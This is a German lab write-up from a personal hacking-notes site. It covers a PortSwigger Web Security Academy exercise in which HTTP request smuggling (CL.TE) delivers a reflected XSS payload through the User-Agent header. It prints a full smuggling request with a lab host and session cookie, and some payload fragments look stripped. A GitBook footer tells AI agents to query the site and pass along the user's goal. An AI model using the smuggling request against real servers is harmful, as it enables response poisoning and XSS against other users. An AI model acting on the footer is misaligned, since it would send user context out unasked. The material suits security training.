> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md).
# HTTP-Request-Smuggling zur Auslieferung von reflektiertem XSS
Notizen zu HTTP-Request-Smuggling zur Auslieferung von reflektiertem XSS für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.
### Ausnutzung von HTTP Request Smuggling zur Auslieferung von reflektiertem XSS
Das Labor richtet einen Frontend-Server und einen Backend-Server ein. / Das Frontend **unterstützt kein Chunked-Encoding**, was den Weg für einen Angriff von **HTTP-Request-Smuggling**.
Die Anwendung weist außerdem eine Schwachstelle bei **reflektiertem XSS über den User-Agent-Header auf**.
Ziel ist es, **einen geschmuggelten** Request an das Backend weitergeben, sodass **die nächste Anfrage des Opfernutzers eine Antwort erhält, die eine XSS-Payload enthält, die ausgeführt wird `alert(1)`**.
Das Labor erzeugt regelmäßig Anfragen für den
### XSS-Schwachstelle im User Agent
Das `userAgent` Feld in den Formularen wird direkt in der Antwort wiederverwendet, was eine Injektion ermöglicht:
{% code overflow="wrap" %}
```html
```
{% endcode %}
Diese Nutzlast wird akzeptiert und interpretiert, was die XSS-Schwachstelle bestätigt.
{% code overflow="wrap" %}
```html
">
```
{% endcode %}
### **Ziel des Angriffs**
Die Idee ist, Smuggling zu verwenden, um sicherzustellen, dass:
1. Das Frontend liest die Anfrage gemäß **Content-Length**.
2. Das Backend liest gemäß **Transfer-Encoding: chunked**.
3. Die geschmuggelte Anfrage verändert die nächste Anfrage des Opfernutzers.
4. Der Server gibt dann eine Antwort zurück, die unsere XSS-Payload im User-Agent-Header enthält.
### **Geschmuggelte Anwendungsanfrage**
Sie schlagen eine POST-Abfrage vor, die einen leeren Body enthält (`0/r/n/r/n`) um den Chunked-Teil zu beenden, gefolgt von der Anfrage an das Backend
```http
POST / HTTP/1.1
Host: 0a03007904861a418091d63e00800003.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 172
Transfer-Encoding: chunked
0
GET /post?postId=6 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=tacWnPVGep8Me8A2MnkwA8hx5mrBU9la
User-Agent: ">
```
Diese zweite (geschmuggelte) Anfrage wird vom Backend als Teil der nächsten Anfrage – der des Opfernutzers – interpretiert, wodurch die XSS-Payload in die Antwort injiziert werden kann, die es erhält.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-request-smuggling-to-deliver-reflected-xss.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
